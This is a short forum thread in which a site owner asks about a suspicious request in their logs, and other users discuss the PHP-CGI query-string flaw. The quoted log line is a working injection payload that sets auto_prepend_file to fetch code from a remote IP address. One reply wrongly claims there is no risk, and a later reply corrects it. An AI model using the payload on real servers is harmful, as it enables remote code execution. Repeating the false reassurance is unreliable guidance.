What could this query do?

The following has been showing up in our logs lately. Is it anything to be concerned about?

/index.php?-dsafe_mode%3dOff±ddisable_functions%3dNULL±dallow_url_fopen%3dOn±dallow_url_include%3dOn±dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt

Have a read of the following article http://huguesjohnson.com/programming/hacking-attempt/

Thanks. I read that, but did not come away with a clear understanding of what to check to ensure our system is not vulnerable to this.

There is no risk, the guy trying to run the URL is attempting to execute PHP commands which can only be run from within a terminal shell.

Thanks for taking the time to let me know. i appreciate it.

That’s not completely true. There has been a PHP vulnerability recently discovered that enables people to run remote code from the query string on PHP installations running in CGI mode or mod_cgid (not FastCGI). The logs you’re currently seeing is a user trying to exploit that very vulnerability. Check to see how PHP is running on your system to know if you’re vulnerable. Alternatively, you can also go to /index.php?-s and see if the source to your PHP code is displayed. If it is, you’re vulnerable.

If you’re affected, there are many ways to protect against it. I’m not sure if PHP has released a “working” patch yet as I haven’t been following it (I’m not affected), but I’m sure you can find out on PHP’s website.